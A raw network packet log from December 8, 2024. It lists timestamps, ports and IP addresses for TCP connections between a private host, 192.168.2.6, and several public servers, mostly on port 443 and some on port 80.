Dec 8, 2024 17:45:00.656744957 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:00.656780005 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:00.656789064 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:00.656888962 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:00.914535999 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:00.917460918 CET	49707	443	192.168.2.6	20.198.119.143
Dec 8, 2024 17:45:00.917646885 CET	49707	443	192.168.2.6	20.198.119.143
Dec 8, 2024 17:45:00.917774916 CET	49707	443	192.168.2.6	20.198.119.143
Dec 8, 2024 17:45:01.043643951 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:01.043992043 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:01.044011116 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:01.217801094 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.217873096 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.217953920 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.221982002 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.222043991 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.222100973 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.230530977 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.230604887 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.230669022 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.238703966 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.238802910 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.238857985 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.247112989 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.247224092 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.247272015 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.266379118 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.266455889 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.266700029 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.266745090 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.266824007 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.266978979 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.266987085 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.386641026 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.386806965 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.386817932 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.386881113 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.386890888 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.473980904 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:01.516160011 CET	49707	443	192.168.2.6	20.198.119.143
Dec 8, 2024 17:45:01.712392092 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:01.766124964 CET	49707	443	192.168.2.6	20.198.119.143
Dec 8, 2024 17:45:01.865098000 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.865124941 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.865256071 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.867476940 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.867578030 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.867635965 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.875909090 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.875931025 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.876024961 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.882308960 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.882407904 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.882467031 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.890669107 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.890759945 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.890840054 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:01.899069071 CET	443	49706	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:01.904143095 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:01.905093908 CET	49707	443	192.168.2.6	20.198.119.143
Dec 8, 2024 17:45:01.953774929 CET	49706	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:02.024496078 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:02.156913996 CET	49674	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:02.156918049 CET	49673	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:02.453725100 CET	443	49707	20.198.119.143	192.168.2.6
Dec 8, 2024 17:45:02.484966040 CET	49672	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:02.500511885 CET	49707	443	192.168.2.6	20.198.119.143
Dec 8, 2024 17:45:02.854962111 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:02.855026007 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:02.855109930 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:02.855772972 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:02.855783939 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:03.120475054 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.120594978 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.140129089 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.140202045 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.140450001 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.141033888 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.141102076 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.141140938 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.147028923 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:03.147061110 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:03.147136927 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:03.147283077 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:03.147334099 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:03.147393942 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:03.148964882 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:03.148979902 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:03.149059057 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:03.149079084 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:03.851998091 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.852025032 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.852071047 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.852118015 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.852130890 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.852154970 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.852910042 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.852926970 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:03.853089094 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.853126049 CET	443	49708	40.126.53.17	192.168.2.6
Dec 8, 2024 17:45:03.853193045 CET	49708	443	192.168.2.6	40.126.53.17
Dec 8, 2024 17:45:05.537067890 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.537153006 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.537180901 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.537271023 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.559298038 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.559318066 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.559372902 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.559396982 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.559623957 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.559659004 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.559731960 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.559734106 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.561104059 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.561113119 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:05.561129093 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.561151028 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:05.700298071 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:05.700416088 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:05.702924967 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:05.702931881 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:05.703167915 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:05.711594105 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:05.711647987 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:05.711653948 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:05.711822033 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:05.759327888 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:06.080470085 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.080493927 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.080564976 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.080580950 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.080615044 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.080643892 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.086791992 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.086843967 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.086894989 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.086894989 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.090209961 CET	49710	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.090224028 CET	443	49710	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.177367926 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.177414894 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.177423000 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.177450895 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.177463055 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.177499056 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.177500010 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.177546978 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.178035021 CET	49711	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:06.178050995 CET	443	49711	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:06.259176016 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:06.259262085 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:06.259336948 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:06.259490013 CET	49709	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:06.259512901 CET	443	49709	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:06.621026993 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:06.621073008 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:06.621134043 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:06.621860981 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:06.621876955 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:08.858937979 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:08.859013081 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:08.862715960 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:08.862728119 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:08.862997055 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:08.865525007 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:08.865736961 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:08.865736961 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:08.865745068 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:08.907340050 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:09.302886009 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:09.422691107 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:09.422787905 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:09.423468113 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:09.533225060 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:09.533323050 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:09.533387899 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:09.533613920 CET	49714	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:09.533634901 CET	443	49714	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:09.544224977 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:10.566474915 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:10.566519022 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:10.566620111 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:10.567116976 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:10.567131996 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:10.972634077 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:10.974051952 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:11.052201033 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:11.178416967 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:11.516825914 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:11.516968012 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:11.518338919 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:11.644141912 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:11.766149044 CET	49674	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:11.766160011 CET	49673	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:11.968817949 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:11.968904018 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:11.968907118 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:11.968950033 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:11.971107006 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.091162920 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.094263077 CET	49672	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:12.416388988 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.416429043 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.416440964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.416454077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.416486025 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.416584015 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.416595936 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.416608095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.416635990 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.416661978 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.418778896 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.455765963 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:12.455877066 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:12.459896088 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:12.459907055 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:12.460246086 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:12.470407963 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:12.511341095 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:12.538059950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.863575935 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:12.863642931 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.884659052 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:12.884726048 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:13.001992941 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.002027035 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.002043009 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.002093077 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.002110958 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.002163887 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.003947973 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.004072905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.004169941 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.004179955 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.004189968 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.004255056 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.004272938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.004283905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.142405033 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.142442942 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.142484903 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.142508030 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.142533064 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.142587900 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.189663887 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.189681053 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.189750910 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.189762115 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.189821005 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.281224966 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.281246901 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.281342030 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.281352997 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.281394005 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.319541931 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.319565058 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.319660902 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.319672108 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.319725037 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.341345072 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.341362000 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.341451883 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.341460943 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.341541052 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.364860058 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.364902973 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.364950895 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.364959002 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.365003109 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.365003109 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.463602066 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.463623047 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.463740110 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.463754892 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.463907003 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.481707096 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.481724024 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.481807947 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.481817961 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.481859922 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.500173092 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.500190973 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.500286102 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.500296116 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.500356913 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.515435934 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.515454054 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.515549898 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.515558958 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.515600920 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.531033039 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.531053066 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.531141043 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.531147003 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.531327963 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.545882940 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.545898914 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.545981884 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.545990944 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.546032906 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.553822994 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.553910017 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.553916931 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.553932905 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.553965092 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.553980112 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.555440903 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.555458069 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.555469036 CET	49716	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.555474997 CET	443	49716	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.738718987 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.738794088 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.738887072 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.739531040 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.739581108 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.739631891 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.849124908 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.849152088 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.849294901 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.849308968 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.859081030 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:13.863104105 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:13.877268076 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.877281904 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.877367020 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.877506018 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:13.877548933 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:13.877602100 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:14.034162998 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:14.034195900 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:14.034276009 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:14.069545031 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:14.069556952 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:14.069931030 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:14.069962978 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:14.107254982 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:14.107290983 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:14.376233101 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:14.495579004 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:14.817894936 CET	80	49715	185.215.113.206	192.168.2.6
